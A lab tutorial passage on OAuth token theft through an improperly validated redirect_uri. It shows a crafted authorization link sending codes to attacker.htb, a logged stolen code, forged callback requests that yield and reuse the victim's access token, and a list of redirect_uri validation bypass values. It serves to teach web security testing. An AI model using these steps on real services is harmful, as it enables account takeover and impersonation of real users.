Stealing Access Tokens

---

Now that we discussed how OAuth works in detail, let us jump into the first and most severe class of OAuth vulnerabilities, which is the leakage of the access token to an attacker. This vulnerability is the result of improper verification of the redirect_uri parameter.

---

Stealing Access Tokens

Due to the way the OAuth flow works, an attacker is able to impersonate the victim and steal their access token by manipulating the redirect_uri parameter to a system under their control. If the redirect_uri is not properly verified by the authorization server, an attacker is able to manipulate it to conduct such an attack.

Firstly, an attacker needs to create a link for an authorization request that contains a manipulated redirect_uri. In our lab, we can use the attacker server to simulate this attack. The attacker can set the state parameter to an arbitrary value as long as it is consistent throughout the attack. As an example, let us assume the attacker created the following manipulated link with the redirect_uri pointing to the attacker server:

http://hubgit.htb/authorization/auth?response_type=code&client_id=0e8f12335b0bf225&redirect_uri=http://attacker.htb/callback&state=somevalue

An attacker can obtain the client_id by executing the OAuth flow with their own credentials and taking note of the parameter.

Afterward, the attacker needs to deliver this link to the victim, either by social engineering or a different technique (which is outside of the scope of this module).

When the victim accesses the link, the authorization server's authorization prompt is displayed:

When the victim proceeds to login, they are redirected to the attacker server due to the manipulated redirect_uri parameter:

As a result, the authorization code has now been sent to the attacker server, where the attacker can obtain it from the logs:

[!bash!]$ curl http://attacker.htb/log

-----
/callback?code=Z0FBQUFBQm1BeHdCNEZEQVdxMFR0Tl9aSEg0SThQME9SU2s2V3Y3VE9teTM2V0JLcDRTM0Jwc0NBMG9Oc09vNGlqWjNZMDFVcGlsT3ZnWmdmRzJ3Q0wtdGtSbWNqXzBHY0o4RzBtMzlKN2h3WFlNcjltc2drNkNFUlAzcnJzUTd6SnVFbTJCWmZ6WDYtVm13V1pQRW5kMlBqcWRnQkVReUZRPT0&state=somevalue
Host: attacker.htb
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://172.17.0.2/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
X-Forwarded-For: 172.17.0.1
X-Forwarded-Host: attacker.htb
X-Forwarded-Server: attacker.htb
Connection: Keep-Alive

Now that the attacker know the victim's authorization code, all that is left is completing the OAuth flow and trading the authorization token for a valid access token to impersonate the victim. The attacker can easily achieve this by forging the access token request, since all required parameters are known:

GET /client/callback?code=Z0FBQUFBQm1BeHdCNEZEQVdxMFR0Tl9aSEg0SThQME9SU2s2V3Y3VE9teTM2V0JLcDRTM0Jwc0NBMG9Oc09vNGlqWjNZMDFVcGlsT3ZnWmdmRzJ3Q0wtdGtSbWNqXzBHY0o4RzBtMzlKN2h3WFlNcjltc2drNkNFUlAzcnJzUTd6SnVFbTJCWmZ6WDYtVm13V1pQRW5kMlBqcWRnQkVReUZRPT0&state=somevalue HTTP/1.1
Host: hubgit.htb
Cookie: state=somevalue

The remaining OAuth flow is completed by the client and authorization server in the background. The victim's access token is returned in the response:

HTTP/1.1 302 FOUND
Date: Tue, 26 Mar 2024 19:13:40 GMT
Server: Werkzeug/3.0.1 Python/3.11.2
Content-Type: text/html; charset=utf-8
Content-Length: 203
Location: /client/
Set-Cookie: access_token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imh0Yi1zdGRudCIsImlzcyI6Imh1YmdpdC5odGIiLCJleHAiOjE3MTE0ODQwMjAuODQ2MDAxNn0.5nx4KAunXKVHoz6udsLdho5X0tQ_p03AbjListGoPgQ01uaX_RFkH1rnvOTwe1-NwH8US7slHQUnSsR5-BEFY2EfR7K_mx-9eL7kaxFJ97NXmVSG_bSzsPzjMUTjrpUbfbTSjqQTM5srpUHC811bDSYWduRV4YI0Fso_EsAz4jMUm7ka_sMWMqcc7hkFev3MjmPzQOBkbt3jtJ8DJPkYxFW_6aXdF-1sf8aejbkWO4tJecqG55rHgUvPfDMpTiRLP07jB26odIoBgu01z3Ybfz8y_IQC_0VTU9kEITThdvayaHeyqp-NqHfETlFSiDH__hoePFS_xhw-jP3QIbRVDg; Path=/

Since the attacker now owns a valid access token for the victim, they can use it to impersonate the victim and use the client academy.htb as the victim:

GET /client/ HTTP/1.1
Host: academy.htb
Cookie:  access_token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imh0Yi1zdGRudCIsImlzcyI6Imh1YmdpdC5odGIiLCJleHAiOjE3MTE0ODQwMjAuODQ2MDAxNn0.5nx4KAunXKVHoz6udsLdho5X0tQ_p03AbjListGoPgQ01uaX_RFkH1rnvOTwe1-NwH8US7slHQUnSsR5-BEFY2EfR7K_mx-9eL7kaxFJ97NXmVSG_bSzsPzjMUTjrpUbfbTSjqQTM5srpUHC811bDSYWduRV4YI0Fso_EsAz4jMUm7ka_sMWMqcc7hkFev3MjmPzQOBkbt3jtJ8DJPkYxFW_6aXdF-1sf8aejbkWO4tJecqG55rHgUvPfDMpTiRLP07jB26odIoBgu01z3Ybfz8y_IQC_0VTU9kEITThdvayaHeyqp-NqHfETlFSiDH__hoePFS_xhw-jP3QIbRVDg

The response to this request contains the victim's account details:

---

Bypassing Flawed Validation

In many real world implementations of OAuth, the redirect_uri is validated. This validation is often implemented using a whitelist to prevent any external URLs from being submitted. However, depending on how the URL validation is implemented, there may be potential for bypasses. A validation can easily be identified, as the manipulated URL will likely result in an error similar to the following:

An attacker can obtain the expected redirect_uri value by going through the entire OAuth flow with their own credentials and taking note of the URL. This enables the attacker to attempt different URL-based bypasses, involving the following URL components:

• Subdomains
• Basic Authentication Credentials
• Query parameters
• URL fragments

For instance, if the validation only checks if the redirect_uri starts with or contains the string http://academy.htb, it can easily be bypassed with the following values:

• http://academy.htb.attacker.htb/callback
• http://[email protected]/callback
• http://attacker.htb/callback?a=http://academy.htb
• http://attacker.htb/callback#http://academy.htb

From this point, the attack can be executed as described above.